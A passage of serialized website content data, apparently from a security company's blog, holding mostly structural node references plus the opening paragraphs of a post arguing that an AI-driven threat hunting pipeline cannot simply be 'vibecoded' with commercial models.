ype":864},{},[],{"data":16468,"content":16471,"nodeType":996},{"target":16469},{"sys":16470},{"id":6722,"type":1001,"linkType":1002},[],{"data":16473,"content":16474,"nodeType":860},{},[16475],{"data":16476,"marks":16477,"value":6730,"nodeType":864},{},[],{"data":16479,"content":16480,"nodeType":860},{},[16481],{"data":16482,"marks":16483,"value":6737,"nodeType":864},{},[],{"data":16485,"content":16488,"nodeType":996},{"target":16486},{"sys":16487},{"id":6742,"type":1001,"linkType":1002},[],{"data":16490,"content":16491,"nodeType":1005},{},[],{"data":16493,"content":16494,"nodeType":1009},{},[16495],{"data":16496,"marks":16497,"value":6754,"nodeType":864},{},[16498],{"type":899},{"data":16500,"content":16501,"nodeType":860},{},[16502],{"data":16503,"marks":16504,"value":6761,"nodeType":864},{},[],{"data":16506,"content":16509,"nodeType":996},{"target":16507},{"sys":16508},{"id":6766,"type":1001,"linkType":1002},[],{"data":16511,"content":16514,"nodeType":996},{"target":16512},{"sys":16513},{"id":6772,"type":1001,"linkType":1002},[],{"data":16516,"content":16517,"nodeType":860},{},[16518],{"data":16519,"marks":16520,"value":6780,"nodeType":864},{},[],{"data":16522,"content":16523,"nodeType":860},{},[16524],{"data":16525,"marks":16526,"value":6787,"nodeType":864},{},[],{"data":16528,"content":16529,"nodeType":860},{},[16530,16533,16539],{"data":16531,"marks":16532,"value":6794,"nodeType":864},{},[],{"data":16534,"content":16535,"nodeType":883},{"uri":6797},[16536],{"data":16537,"marks":16538,"value":6802,"nodeType":864},{},[],{"data":16540,"marks":16541,"value":2924,"nodeType":864},{},[],{"data":16543,"content":16546,"nodeType":996},{"target":16544},{"sys":16545},{"id":6810,"type":1001,"linkType":1002},[],{"data":16548,"content":16549,"nodeType":1005},{},[],{"data":16551,"content":16552,"nodeType":1009},{},[16553],{"data":16554,"marks":16555,"value":6822,"nodeType":864},{},[16556],{"type":899},{"data":16558,"content":16559,"nodeType":860},{},[16560,16563,16569],{"data":16561,"marks":16562,"value":6829,"nodeType":864},{},[],{"data":16564,"content":16565,"nodeType":883},{"uri":6631},[16566],{"data":16567,"marks":16568,"value":6836,"nodeType":864},{},[],{"data":16570,"marks":16571,"value":6840,"nodeType":864},{},[],{"data":16573,"content":16576,"nodeType":996},{"target":16574},{"sys":16575},{"id":6845,"type":1001,"linkType":1002},[],{"data":16578,"content":16579,"nodeType":860},{},[16580],{"data":16581,"marks":16582,"value":6853,"nodeType":864},{},[],{"data":16584,"content":16585,"nodeType":1005},{},[],{"data":16587,"content":16588,"nodeType":1009},{},[16589],{"data":16590,"marks":16591,"value":6864,"nodeType":864},{},[16592],{"type":899},{"data":16594,"content":16595,"nodeType":860},{},[16596],{"data":16597,"marks":16598,"value":6871,"nodeType":864},{},[],{"data":16600,"content":16601,"nodeType":860},{},[16602],{"data":16603,"marks":16604,"value":6878,"nodeType":864},{},[],{"data":16606,"content":16609,"nodeType":996},{"target":16607},{"sys":16608},{"id":6883,"type":1001,"linkType":1002},[],{"data":16611,"content":16614,"nodeType":996},{"target":16612},{"sys":16613},{"id":6889,"type":1001,"linkType":1002},[],{"data":16616,"content":16617,"nodeType":860},{},[16618,16621,16627,16630,16636,16639,16646],{"data":16619,"marks":16620,"value":6897,"nodeType":864},{},[],{"data":16622,"content":16623,"nodeType":883},{"uri":6900},[16624],{"data":16625,"marks":16626,"value":6905,"nodeType":864},{},[],{"data":16628,"marks":16629,"value":6909,"nodeType":864},{},[],{"data":16631,"content":16632,"nodeType":883},{"uri":6912},[16633],{"data":16634,"marks":16635,"value":6917,"nodeType":864},{},[],{"data":16637,"marks":16638,"value":902,"nodeType":864},{},[],{"data":16640,"content":16641,"nodeType":883},{"uri":6923},[16642],{"data":16643,"marks":16644,"value":6929,"nodeType":864},{},[16645],{"type":1455},{"data":16647,"marks":16648,"value":6933,"nodeType":864},{},[],{"data":16650,"content":16651,"nodeType":860},{},[16652],{"data":16653,"marks":16654,"value":6940,"nodeType":864},{},[],{"data":16656,"content":16657,"nodeType":1005},{},[],{"data":16659,"content":16660,"nodeType":1009},{},[16661],{"data":16662,"marks":16663,"value":6951,"nodeType":864},{},[16664],{"type":899},{"data":16666,"content":16667,"nodeType":860},{},[16668],{"data":16669,"marks":16670,"value":6958,"nodeType":864},{},[],{"data":16672,"content":16673,"nodeType":1312},{},[16674],{"data":16675,"marks":16676,"value":6965,"nodeType":864},{},[],{"data":16678,"content":16679,"nodeType":860},{},[16680,16683,16689,16692,16698,16701,16707],{"data":16681,"marks":16682,"value":6972,"nodeType":864},{},[],{"data":16684,"content":16685,"nodeType":883},{"uri":6975},[16686],{"data":16687,"marks":16688,"value":6980,"nodeType":864},{},[],{"data":16690,"marks":16691,"value":6984,"nodeType":864},{},[],{"data":16693,"content":16694,"nodeType":883},{"uri":6987},[16695],{"data":16696,"marks":16697,"value":6992,"nodeType":864},{},[],{"data":16699,"marks":16700,"value":6996,"nodeType":864},{},[],{"data":16702,"content":16703,"nodeType":883},{"uri":6999},[16704],{"data":16705,"marks":16706,"value":7004,"nodeType":864},{},[],{"data":16708,"marks":16709,"value":7008,"nodeType":864},{},[],{"data":16711,"content":16712,"nodeType":1312},{},[16713],{"data":16714,"marks":16715,"value":7015,"nodeType":864},{},[],{"data":16717,"content":16718,"nodeType":860},{},[16719,16722,16728,16731,16737],{"data":16720,"marks":16721,"value":7022,"nodeType":864},{},[],{"data":16723,"content":16724,"nodeType":883},{"uri":7025},[16725],{"data":16726,"marks":16727,"value":7030,"nodeType":864},{},[],{"data":16729,"marks":16730,"value":7034,"nodeType":864},{},[],{"data":16732,"content":16733,"nodeType":883},{"uri":7037},[16734],{"data":16735,"marks":16736,"value":7042,"nodeType":864},{},[],{"data":16738,"marks":16739,"value":7046,"nodeType":864},{},[],{"data":16741,"content":16742,"nodeType":1312},{},[16743],{"data":16744,"marks":16745,"value":7053,"nodeType":864},{},[],{"data":16747,"content":16748,"nodeType":860},{},[16749,16752,16758,16761,16767,16770,16776],{"data":16750,"marks":16751,"value":7060,"nodeType":864},{},[],{"data":16753,"content":16754,"nodeType":883},{"uri":7063},[16755],{"data":16756,"marks":16757,"value":7068,"nodeType":864},{},[],{"data":16759,"marks":16760,"value":7072,"nodeType":864},{},[],{"data":16762,"content":16763,"nodeType":883},{"uri":7075},[16764],{"data":16765,"marks":16766,"value":7080,"nodeType":864},{},[],{"data":16768,"marks":16769,"value":7084,"nodeType":864},{},[],{"data":16771,"content":16772,"nodeType":883},{"uri":7087},[16773],{"data":16774,"marks":16775,"value":7092,"nodeType":864},{},[],{"data":16777,"marks":16778,"value":7096,"nodeType":864},{},[],{"data":16780,"content":16781,"nodeType":860},{},[16782],{"data":16783,"marks":16784,"value":7103,"nodeType":864},{},[],{"data":16786,"content":16787,"nodeType":1005},{},[],{"data":16789,"content":16790,"nodeType":1009},{},[16791],{"data":16792,"marks":16793,"value":7114,"nodeType":864},{},[16794],{"type":899},{"data":16796,"content":16797,"nodeType":860},{},[16798,16801,16807],{"data":16799,"marks":16800,"value":7121,"nodeType":864},{},[],{"data":16802,"content":16803,"nodeType":883},{"uri":7124},[16804],{"data":16805,"marks":16806,"value":7129,"nodeType":864},{},[],{"data":16808,"marks":16809,"value":7133,"nodeType":864},{},[],{"data":16811,"content":16812,"nodeType":860},{},[16813],{"data":16814,"marks":16815,"value":7140,"nodeType":864},{},[],{"data":16817,"content":16818,"nodeType":1312},{},[16819],{"data":16820,"marks":16821,"value":7148,"nodeType":864},{},[16822],{"type":899},{"data":16824,"content":16825,"nodeType":860},{},[16826,16829,16833],{"data":16827,"marks":16828,"value":7155,"nodeType":864},{},[],{"data":16830,"marks":16831,"value":1555,"nodeType":864},{},[16832],{"type":899},{"data":16834,"marks":16835,"value":7163,"nodeType":864},{},[],{"data":16837,"content":16838,"nodeType":860},{},[16839],{"data":16840,"marks":16841,"value":7170,"nodeType":864},{},[],{"data":16843,"content":16844,"nodeType":860},{},[16845,16848,16854],{"data":16846,"marks":16847,"value":7177,"nodeType":864},{},[],{"data":16849,"content":16850,"nodeType":883},{"uri":7180},[16851],{"data":16852,"marks":16853,"value":7185,"nodeType":864},{},[],{"data":16855,"marks":16856,"value":7189,"nodeType":864},{},[],{"data":16858,"content":16859,"nodeType":860},{},[16860],{"data":16861,"marks":16862,"value":7196,"nodeType":864},{},[],{"data":16864,"content":16865,"nodeType":1005},{},[],{"data":16867,"content":16868,"nodeType":860},{},[16869],{"data":16870,"marks":16871,"value":1682,"nodeType":864},{},[],{"data":16873,"content":16874,"nodeType":860},{},[16875],{"data":16876,"marks":16877,"value":1689,"nodeType":864},{},[],{"data":16879,"content":16880,"nodeType":860},{},[16881,16884,16891],{"data":16882,"marks":16883,"value":21,"nodeType":864},{},[],{"data":16885,"content":16886,"nodeType":883},{"uri":5642},[16887],{"data":16888,"marks":16889,"value":1703,"nodeType":864},{},[16890],{"type":1455},{"data":16892,"marks":16893,"value":21,"nodeType":864},{},[],{"data":16895,"content":16896,"nodeType":1005},{},[],{"data":16898,"content":16899,"nodeType":1009},{},[16900],{"data":16901,"marks":16902,"value":7238,"nodeType":864},{},[16903],{"type":899},{"data":16905,"content":16906,"nodeType":860},{},[16907,16910,16916],{"data":16908,"marks":16909,"value":7245,"nodeType":864},{},[],{"data":16911,"content":16912,"nodeType":883},{"uri":7248},[16913],{"data":16914,"marks":16915,"value":7253,"nodeType":864},{},[],{"data":16917,"marks":16918,"value":7257,"nodeType":864},{},[],{"data":16920,"content":16921,"nodeType":860},{},[16922],{"data":16923,"marks":16924,"value":7264,"nodeType":864},{},[],{"data":16926,"content":16927,"nodeType":4845},{},[16928,16951,16972,16993,17014],{"data":16929,"content":16930,"nodeType":4581},{},[16931,16941],{"data":16932,"content":16933,"nodeType":7282},{},[16934],{"data":16935,"content":16936,"nodeType":860},{},[16937],{"data":16938,"marks":16939,"value":7281,"nodeType":864},{},[16940],{"type":899},{"data":16942,"content":16943,"nodeType":7282},{},[16944],{"data":16945,"content":16946,"nodeType":860},{},[16947],{"data":16948,"marks":16949,"value":7293,"nodeType":864},{},[16950],{"type":899},{"data":16952,"content":16953,"nodeType":4581},{},[16954,16963],{"data":16955,"content":16956,"nodeType":4569},{},[16957],{"data":16958,"content":16959,"nodeType":860},{},[16960],{"data":16961,"marks":16962,"value":7306,"nodeType":864},{},[],{"data":16964,"content":16965,"nodeType":4569},{},[16966],{"data":16967,"content":16968,"nodeType":860},{},[16969],{"data":16970,"marks":16971,"value":7316,"nodeType":864},{},[],{"data":16973,"content":16974,"nodeType":4581},{},[16975,16984],{"data":16976,"content":16977,"nodeType":4569},{},[16978],{"data":16979,"content":16980,"nodeType":860},{},[16981],{"data":16982,"marks":16983,"value":7329,"nodeType":864},{},[],{"data":16985,"content":16986,"nodeType":4569},{},[16987],{"data":16988,"content":16989,"nodeType":860},{},[16990],{"data":16991,"marks":16992,"value":7316,"nodeType":864},{},[],{"data":16994,"content":16995,"nodeType":4581},{},[16996,17005],{"data":16997,"content":16998,"nodeType":4569},{},[16999],{"data":17000,"content":17001,"nodeType":860},{},[17002],{"data":17003,"marks":17004,"value":7351,"nodeType":864},{},[],{"data":17006,"content":17007,"nodeType":4569},{},[17008],{"data":17009,"content":17010,"nodeType":860},{},[17011],{"data":17012,"marks":17013,"value":7361,"nodeType":864},{},[],{"data":17015,"content":17016,"nodeType":4581},{},[17017,17026],{"data":17018,"content":17019,"nodeType":4569},{},[17020],{"data":17021,"content":17022,"nodeType":860},{},[17023],{"data":17024,"marks":17025,"value":7374,"nodeType":864},{},[],{"data":17027,"content":17028,"nodeType":4569},{},[17029],{"data":17030,"content":17031,"nodeType":860},{},[17032],{"data":17033,"marks":17034,"value":7384,"nodeType":864},{},[],{"data":17036,"content":17037,"nodeType":860},{},[17038],{"data":17039,"marks":17040,"value":21,"nodeType":864},{},[],{"items":17042},[17043,17045],{"sys":17044,"name":6593},{"id":6592},{"sys":17046,"name":342},{"id":6596},{"items":17048},[17049],{"fullName":7404,"firstName":7405,"jobTitle":7406,"profilePicture":17050},{"url":7408},{"__typename":2059,"sys":17052,"content":17053,"title":2720,"synopsis":2721,"hashTags":59,"publishedDate":2722,"slug":2723,"tagsCollection":17614,"authorsCollection":17620},{"id":2061},{"json":17054},{"data":17055,"content":17056,"nodeType":856},{},[17057,17063,17069,17075,17080,17083,17090,17096,17125,17131,17155,17160,17163,17170,17176,17183,17217,17222,17228,17233,17236,17243,17249,17256,17262,17268,17281,17288,17308,17314,17319,17325,17332,17345,17367,17372,17387,17392,17399,17405,17425,17431,17437,17443,17448,17451,17458,17464,17470,17485,17492,17498,17505,17524,17534,17539,17542,17549,17555,17561,17567,17583,17586,17592,17598],{"data":17058,"content":17059,"nodeType":860},{},[17060],{"data":17061,"marks":17062,"value":2072,"nodeType":864},{},[],{"data":17064,"content":17065,"nodeType":860},{},[17066],{"data":17067,"marks":17068,"value":2079,"nodeType":864},{},[],{"data":17070,"content":17071,"nodeType":860},{},[17072],{"data":17073,"marks":17074,"value":2086,"nodeType":864},{},[],{"data":17076,"content":17079,"nodeType":996},{"target":17077},{"sys":17078},{"id":2091,"type":1001,"linkType":1002},[],{"data":17081,"content":17082,"nodeType":1005},{},[],{"data":17084,"content":17085,"nodeType":1009},{},[17086],{"data":17087,"marks":17088,"value":2103,"nodeType":864},{},[17089],{"type":899},{"data":17091,"content":17092,"nodeType":860},{},[17093],{"data":17094,"marks":17095,"value":2110,"nodeType":864},{},[],{"data":17097,"content":17098,"nodeType":941},{},[17099,17112],{"data":17100,"content":17101,"nodeType":945},{},[17102],{"data":17103,"content":17104,"nodeType":860},{},[17105,17109],{"data":17106,"marks":17107,"value":2124,"nodeType":864},{},[17108],{"type":899},{"data":17110,"marks":17111,"value":2128,"nodeType":864},{},[],{"data":17113,"content":17114,"nodeType":945},{},[17115],{"data":17116,"content":17117,"nodeType":860},{},[17118,17122],{"data":17119,"marks":17120,"value":2139,"nodeType":864},{},[17121],{"type":899},{"data":17123,"marks":17124,"value":2143,"nodeType":864},{},[],{"data":17126,"content":17127,"nodeType":860},{},[17128],{"data":17129,"marks":17130,"value":2150,"nodeType":864},{},[],{"data":17132,"content":17133,"nodeType":860},{},[17134,17137,17143,17146,17152],{"data":17135,"marks":17136,"value":2157,"nodeType":864},{},[],{"data":17138,"content":17139,"nodeType":883},{"uri":1543},[17140],{"data":17141,"marks":17142,"value":1758,"nodeType":864},{},[],{"data":17144,"marks":17145,"value":1762,"nodeType":864},{},[],{"data":17147,"content":17148,"nodeType":883},{"uri":1765},[17149],{"data":17150,"marks":17151,"value":1770,"nodeType":864},{},[],{"data":17153,"marks":17154,"value":1774,"nodeType":864},{},[],{"data":17156,"content":17159,"nodeType":996},{"target":17157},{"sys":17158},{"id":2180,"type":1001,"linkType":1002},[],{"data":17161,"content":17162,"nodeType":1005},{},[],{"data":17164,"content":17165,"nodeType":1009},{},[17166],{"data":17167,"marks":17168,"value":2192,"nodeType":864},{},[17169],{"type":899},{"data":17171,"content":17172,"nodeType":860},{},[17173],{"data":17174,"marks":17175,"value":2199,"nodeType":864},{},[],{"data":17177,"content":17178,"nodeType":860},{},[17179],{"data":17180,"marks":17181,"value":2207,"nodeType":864},{},[17182],{"type":899},{"data":17184,"content":17185,"nodeType":860},{},[17186,17189,17193,17196,17200,17203,17207,17210,17214],{"data":17187,"marks":17188,"value":2214,"nodeType":864},{},[],{"data":17190,"marks":17191,"value":2219,"nodeType":864},{},[17192],{"type":899},{"data":17194,"marks":17195,"value":2223,"nodeType":864},{},[],{"data":17197,"marks":17198,"value":2228,"nodeType":864},{},[17199],{"type":899},{"data":17201,"marks":17202,"value":2232,"nodeType":864},{},[],{"data":17204,"marks":17205,"value":2237,"nodeType":864},{},[17206],{"type":899},{"data":17208,"marks":17209,"value":2241,"nodeType":864},{},[],{"data":17211,"marks":17212,"value":2247,"nodeType":864},{},[17213],{"type":2246},{"data":17215,"marks":17216,"value":2251,"nodeType":864},{},[],{"data":17218,"content":17221,"nodeType":996},{"target":17219},{"sys":17220},{"id":2256,"type":1001,"linkType":1002},[],{"data":17223,"content":17224,"nodeType":860},{},[17225],{"data":17226,"marks":17227,"value":2264,"nodeType":864},{},[],{"data":17229,"content":17232,"nodeType":996},{"target":17230},{"sys":17231},{"id":1040,"type":1001,"linkType":1002},[],{"data":17234,"content":17235,"nodeType":1005},{},[],{"data":17237,"content":17238,"nodeType":1009},{},[17239],{"data":17240,"marks":17241,"value":2280,"nodeType":864},{},[17242],{"type":899},{"data":17244,"content":17245,"nodeType":860},{},[17246],{"data":17247,"marks":17248,"value":2287,"nodeType":864},{},[],{"data":17250,"content":17251,"nodeType":1312},{},[17252],{"data":17253,"marks":17254,"value":2295,"nodeType":864},{},[17255],{"type":899},{"data":17257,"content":17258,"nodeType":860},{},[17259],{"data":17260,"marks":17261,"value":2302,"nodeType":864},{},[],{"data":17263,"content":17264,"nodeType":860},{},[17265],{"data":17266,"marks":17267,"value":2309,"nodeType":864},{},[],{"data":17269,"content":17270,"nodeType":860},{},[17271,17274,17278],{"data":17272,"marks":17273,"value":2316,"nodeType":864},{},[],{"data":17275,"marks":17276,"value":2321,"nodeType":864},{},[17277],{"type":899},{"data":17279,"marks":17280,"value":2325,"nodeType":864},{},[],{"data":17282,"content":17283,"nodeType":1312},{},[17284],{"data":17285,"marks":17286,"value":2333,"nodeType":864},{},[17287],{"type":899},{"data":17289,"content":17290,"nodeType":860},{},[17291,17294,17298,17301,17305],{"data":17292,"marks":17293,"value":2340,"nodeType":864},{},[],{"data":17295,"marks":17296,"value":2345,"nodeType":864},{},[17297],{"type":899},{"data":17299,"marks":17300,"value":2349,"nodeType":864},{},[],{"data":17302,"marks":17303,"value":2354,"nodeType":864},{},[17304],{"type":899},{"data":17306,"marks":17307,"value":2358,"nodeType":864},{},[],{"data":17309,"content":17310,"nodeType":860},{},[17311],{"data":17312,"marks":17313,"value":2365,"nodeType":864},{},[],{"data":17315,"content":17318,"nodeType":996},{"target":17316},{"sys":17317},{"id":2370,"type":1001,"linkType":1002},[],{"data":17320,"content":17321,"nodeType":860},{},[17322],{"data":17323,"marks":17324,"value":2378,"nodeType":864},{},[],{"data":17326,"content":17327,"nodeType":1312},{},[17328],{"data":17329,"marks":17330,"value":2386,"nodeType":864},{},[17331],{"type":899},{"data":17333,"content":17334,"nodeType":860},{},[17335,17338,17342],{"data":17336,"marks":17337,"value":2393,"nodeType":864},{},[],{"data":17339,"marks":17340,"value":2228,"nodeType":864},{},[17341],{"type":899},{"data":17343,"marks":17344,"value":2401,"nodeType":864},{},[],{"data":17346,"content":17347,"nodeType":860},{},[17348,17351,17357,17360,17364],{"data":17349,"marks":17350,"value":2408,"nodeType":864},{},[],{"data":17352,"content":17353,"nodeType":883},{"uri":2411},[17354],{"data":17355,"marks":17356,"value":2416,"nodeType":864},{},[],{"data":17358,"marks":17359,"value":2420,"nodeType":864},{},[],{"data":17361,"marks":17362,"value":2425,"nodeType":864},{},[17363],{"type":899},{"data":17365,"marks":17366,"value":2429,"nodeType":864},{},[],{"data":17368,"content":17371,"nodeType":996},{"target":17369},{"sys":17370},{"id":2434,"type":1001,"linkType":1002},[],{"data":17373,"content":17374,"nodeType":860},{},[17375,17378,17384],{"data":17376,"marks":17377,"value":2442,"nodeType":864},{},[],{"data":17379,"content":17380,"nodeType":883},{"uri":2411},[17381],{"data":17382,"marks":17383,"value":2449,"nodeType":864},{},[],{"data":17385,"marks":17386,"value":2453,"nodeType":864},{},[],{"data":17388,"content":17391,"nodeType":996},{"target":17389},{"sys":17390},{"id":2458,"type":1001,"linkType":1002},[],{"data":17393,"content":17394,"nodeType":1312},{},[17395],{"data":17396,"marks":17397,"value":2467,"nodeType":864},{},[17398],{"type":899},{"data":17400,"content":17401,"nodeType":860},{},[17402],{"data":17403,"marks":17404,"value":2474,"nodeType":864},{},[],{"data":17406,"content":17407,"nodeType":860},{},[17408,17411,17415,17418,17422],{"data":17409,"marks":17410,"value":2481,"nodeType":864},{},[],{"data":17412,"marks":17413,"value":2486,"nodeType":864},{},[17414],{"type":899},{"data":17416,"marks":17417,"value":2490,"nodeType":864},{},[],{"data":17419,"marks":17420,"value":2495,"nodeType":864},{},[17421],{"type":2246},{"data":17423,"marks":17424,"value":2499,"nodeType":864},{},[],{"data":17426,"content":17427,"nodeType":860},{},[17428],{"data":17429,"marks":17430,"value":2506,"nodeType":864},{},[],{"data":17432,"content":17433,"nodeType":860},{},[17434],{"data":17435,"marks":17436,"value":2513,"nodeType":864},{},[],{"data":17438,"content":17439,"nodeType":860},{},[17440],{"data":17441,"marks":17442,"value":2520,"nodeType":864},{},[],{"data":17444,"content":17447,"nodeType":996},{"target":17445},{"sys":17446},{"id":2525,"type":1001,"linkType":1002},[],{"data":17449,"content":17450,"nodeType":1005},{},[],{"data":17452,"content":17453,"nodeType":1009},{},[17454],{"data":17455,"marks":17456,"value":2537,"nodeType":864},{},[17457],{"type":899},{"data":17459,"content":17460,"nodeType":860},{},[17461],{"data":17462,"marks":17463,"value":2544,"nodeType":864},{},[],{"data":17465,"content":17466,"nodeType":860},{},[17467],{"data":17468,"marks":17469,"value":2551,"nodeType":864},{},[],{"data":17471,"content":17472,"nodeType":860},{},[17473,17476,17482],{"data":17474,"marks":17475,"value":2558,"nodeType":864},{},[],{"data":17477,"content":17478,"nodeType":883},{"uri":2561},[17479],{"data":17480,"marks":17481,"value":2566,"nodeType":864},{},[],{"data":17483,"marks":17484,"value":2570,"nodeType":864},{},[],{"data":17486,"content":17487,"nodeType":1312},{},[17488],{"data":17489,"marks":17490,"value":2578,"nodeType":864},{},[17491],{"type":899},{"data":17493,"content":17494,"nodeType":860},{},[17495],{"data":17496,"marks":17497,"value":2585,"nodeType":864},{},[],{"data":17499,"content":17500,"nodeType":860},{},[17501],{"data":17502,"marks":17503,"value":2593,"nodeType":864},{},[17504],{"type":899},{"data":17506,"content":17507,"nodeType":860},{},[17508,17512,17515,17521],{"data":17509,"marks":17510,"value":2601,"nodeType":864},{},[17511],{"type":899},{"data":17513,"marks":17514,"value":2605,"nodeType":864},{},[],{"data":17516,"content":17517,"nodeType":883},{"uri":2411},[17518],{"data":17519,"marks":17520,"value":2612,"nodeType":864},{},[],{"data":17522,"marks":17523,"value":2616,"nodeType":864},{},[],{"data":17525,"content":17526,"nodeType":860},{},[17527,17531],{"data":17528,"marks":17529,"value":2624,"nodeType":864},{},[17530],{"type":899},{"data":17532,"marks":17533,"value":2628,"nodeType":864},{},[],{"data":17535,"content":17538,"nodeType":996},{"target":17536},{"sys":17537},{"id":2633,"type":1001,"linkType":1002},[],{"data":17540,"content":17541,"nodeType":1005},{},[],{"data":17543,"content":17544,"nodeType":1009},{},[17545],{"data":17546,"marks":17547,"value":2645,"nodeType":864},{},[17548],{"type":899},{"data":17550,"content":17551,"nodeType":860},{},[17552],{"data":17553,"marks":17554,"value":2652,"nodeType":864},{},[],{"data":17556,"content":17557,"nodeType":860},{},[17558],{"data":17559,"marks":17560,"value":2659,"nodeType":864},{},[],{"data":17562,"content":17563,"nodeType":860},{},[17564],{"data":17565,"marks":17566,"value":2666,"nodeType":864},{},[],{"data":17568,"content":17569,"nodeType":860},{},[17570,17573,17580],{"data":17571,"marks":17572,"value":2673,"nodeType":864},{},[],{"data":17574,"content":17575,"nodeType":883},{"uri":2676},[17576],{"data":17577,"marks":17578,"value":580,"nodeType":864},{},[17579],{"type":1455},{"data":17581,"marks":17582,"value":2685,"nodeType":864},{},[],{"data":17584,"content":17585,"nodeType":1005},{},[],{"data":17587,"content":17588,"nodeType":860},{},[17589],{"data":17590,"marks":17591,"value":1682,"nodeType":864},{},[],{"data":17593,"content":17594,"nodeType":860},{},[17595],{"data":17596,"marks":17597,"value":1689,"nodeType":864},{},[],{"data":17599,"content":17600,"nodeType":860},{},[17601,17604,17611],{"data":17602,"marks":17603,"value":2707,"nodeType":864},{},[],{"data":17605,"content":17606,"nodeType":883},{"uri":1700},[17607],{"data":17608,"marks":17609,"value":2715,"nodeType":864},{},[17610],{"type":1455},{"data":17612,"marks":17613,"value":2719,"nodeType":864},{},[],{"items":17615},[17616,17618],{"sys":17617,"name":2729},{"id":2728},{"sys":17619,"name":297},{"id":2732},{"items":17621},[17622],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":17623},{"url":2740},"blog/why-you-cant-control-ai-without-being-in-the-browser","AI visibility and control is a feature. Browser security is the foundation.",{"json":17627},{"data":17628,"content":17629,"nodeType":856},{},[17630],{"data":17631,"content":17632,"nodeType":860},{},[17633],{"data":17634,"marks":17635,"value":13508,"nodeType":864},{},[],{"id":12592,"publishedAt":17637},"2026-08-12T11:52:42.429Z",{"items":17639},[17640,17642],{"sys":17641,"name":297},{"id":2732},{"sys":17643,"name":2729},{"id":2728},{"items":17645},[17646,17648,17650,17652,17654,17656,17658,17660,17662,17664,17666,17668,17670,17672,17674,17676,17678,17680,17682],{"sys":17647,"name":235,"slug":236,"tier":31},{"id":232},{"sys":17649,"name":297,"slug":298,"tier":31},{"id":294},{"sys":17651,"name":279,"slug":280,"tier":31},{"id":276},{"sys":17653,"name":519,"slug":520,"tier":31},{"id":516},{"sys":17655,"name":545,"slug":546,"tier":31},{"id":542},{"sys":17657,"name":580,"slug":581,"tier":45},{"id":577},{"sys":17659,"name":252,"slug":253,"tier":45},{"id":249},{"sys":17661,"name":368,"slug":369,"tier":45},{"id":365},{"sys":17663,"name":484,"slug":485,"tier":45},{"id":481},{"sys":17665,"name":288,"slug":289,"tier":45},{"id":285},{"sys":17667,"name":315,"slug":316,"tier":45},{"id":312},{"sys":17669,"name":360,"slug":361,"tier":45},{"id":357},{"sys":17671,"name":261,"slug":262,"tier":45},{"id":258},{"sys":17673,"name":440,"slug":441,"tier":45},{"id":437},{"sys":17675,"name":475,"slug":476,"tier":45},{"id":472},{"sys":17677,"name":324,"slug":325,"tier":45},{"id":321},{"sys":17679,"name":633,"slug":634,"tier":45},{"id":630},{"sys":17681,"name":244,"slug":245,"tier":45},{"id":241},{"sys":17683,"name":607,"slug":608,"tier":45},{"id":604},"sEvs1NG13z8Guz6oaxJbRvlEv7Tcmf1seFlO6IQdBPM",{"id":17686,"title":17687,"authorsCollection":17688,"content":17692,"extension":228,"faqItemsCollection":18308,"faqTitle":59,"featured":6,"hashTags":59,"meta":18310,"metaTitle":18311,"ogImage":59,"postType":8776,"publishedDate":10555,"relatedBlogPostsCollection":18312,"slug":20518,"stem":20519,"subtitle":59,"summary":20520,"synopsis":20530,"sys":20531,"tagsCollection":20534,"topicsCollection":20540,"__hash__":20558},"blog/blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline.json","No, you can’t just vibecode an AI-driven threat hunting pipeline",{"items":17689},[17690],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":17691},{"url":853},{"json":17693,"links":18245},{"data":17694,"content":17695,"nodeType":856},{},[17696,17703,17710,17730,17738,17745,17753,17756,17763,17770,17788,17795,17803,17810,17817,17824,17831,17837,17840,17847,17854,17861,17880,17887,17894,17901,17908,17915,17922,17929,17936,17954,17961,17968,17975,17978,17985,17992,17999,18006,18012,18019,18026,18033,18040,18046,18053,18060,18067,18074,18096,18103,18110,18117,18124,18140,18147,18154,18161,18168,18174,18181,18188,18195,18201,18204,18211,18228],{"data":17697,"content":17698,"nodeType":860},{},[17699],{"data":17700,"marks":17701,"value":17702,"nodeType":864},{},[],"What would it take to vibecode your own AI-driven threat hunting pipeline? ",{"data":17704,"content":17705,"nodeType":860},{},[17706],{"data":17707,"marks":17708,"value":17709,"nodeType":864},{},[],"The commercial models are right there. You’ve probably got a spare weekend coming up, a really nice espresso machine, and a few bucks for tokens. (Is there already an HGTV series on this?)",{"data":17711,"content":17712,"nodeType":860},{},[17713,17717,17726],{"data":17714,"marks":17715,"value":17716,"nodeType":864},{},[],"We recently published a ",{"data":17718,"content":17720,"nodeType":883},{"uri":17719},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",[17721],{"data":17722,"marks":17723,"value":17725,"nodeType":864},{},[17724],{"type":1455},"detailed look",{"data":17727,"marks":17728,"value":17729,"nodeType":864},{},[]," at how we use AI agents as a force multiplier for Push’s threat hunting and detection engineering capabilities.One intriguing detail you might have noticed in that article is that at Push, we treat commercial AI models as commoditized infrastructure, akin to cloud computing.",{"data":17731,"content":17732,"nodeType":860},{},[17733],{"data":17734,"marks":17735,"value":17737,"nodeType":864},{},[17736],{"type":899},"So it’s a cheeky question, but a fair one, because if Push is using commercial models, what exactly are you paying for?",{"data":17739,"content":17740,"nodeType":860},{},[17741],{"data":17742,"marks":17743,"value":17744,"nodeType":864},{},[],"It turns out that the models are the easiest things to replace, and in fact we swap out different models with little impact on detection performance. What’s much harder to build is the expertise: the technical knowledge of various attack techniques, the instrumentation in the browser that produces the structured telemetry, and the enforcement layer that turns detections into real-time protection.",{"data":17746,"content":17747,"nodeType":860},{},[17748],{"data":17749,"marks":17750,"value":17752,"nodeType":864},{},[17751],{"type":899},"Let’s break it down.",{"data":17754,"content":17755,"nodeType":1005},{},[],{"data":17757,"content":17758,"nodeType":1009},{},[17759],{"data":17760,"marks":17761,"value":17762,"nodeType":864},{},[],"The promise and the perils of threat hunting (and where agentic capabilities fit in)",{"data":17764,"content":17765,"nodeType":860},{},[17766],{"data":17767,"marks":17768,"value":17769,"nodeType":864},{},[],"Threat hunting — the practice of proactively searching for threats that haven’t been seen before — is one of the most effective practices in security and one of the least 